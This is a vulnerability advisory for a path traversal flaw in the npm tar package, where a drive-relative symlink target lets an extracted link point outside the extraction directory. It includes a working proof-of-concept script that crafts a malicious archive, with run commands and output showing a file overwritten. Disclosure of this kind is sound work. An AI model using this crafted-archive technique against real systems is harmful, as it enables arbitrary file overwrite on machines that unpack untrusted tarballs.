node-tar Symlink Path Traversal via Drive-Relative Linkpath
Summary
tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.
Details
The extraction logic in Unpack[STRIPABSOLUTEPATH] validates .. segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored linkpath to the stripped value.
What happens with linkpath: "C:../../../target.txt":
stripAbsolutePath()removesC:and rewrites the value to../../../target.txt.- The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted.
- Symlink creation uses the rewritten value (
../../../target.txt) from nested patha/b/l. - Writing through the extracted symlink overwrites the outside file (
../target.txt).
This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.
PoC
Tested on Arch Linux with tar@7.5.10.
PoC script (poc.cjs):
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({
path: 'a/b/l',
type: 'SymbolicLink',
linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})Run:
node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txtObserved output:
PWNED
../../../target.txt
lrwxrwxrwx - joshuavr 7 Mar 18:37 a/b/l -> ../../../target.txt
.rw-r--r-- 6 joshuavr 7 Mar 18:37 ../target.txtPWNED confirms outside file content overwrite. readlink and ls -l confirm the extracted symlink points outside the extraction directory.
Impact
This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.
Realistic scenarios:
- CLI tools unpacking untrusted tarballs into a working directory
- build/update pipelines consuming third-party archives
- services that import user-supplied tar files
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | tar | < 7.5.11 | 7.5.11 |
References
- CVSS vector
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N- Weakness (CWE)
CWE-22- Platform
- npm
- Package
tar- Disclosed
- 10.03.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-9ppj-qmqm-q256 - CC BY 4.0
Vulnerability history: tar
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 21
- First → latest
- 10.2017 07.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 1
- High 15
- Medium 5
Disclosures per year
- 2017: 1
- 2018: 0
- 2019: 1
- 2020: 0
- 2021: 5
- 2022: 0
- 2023: 0
- 2024: 1
- 2025: 1
- 2026: 12
-
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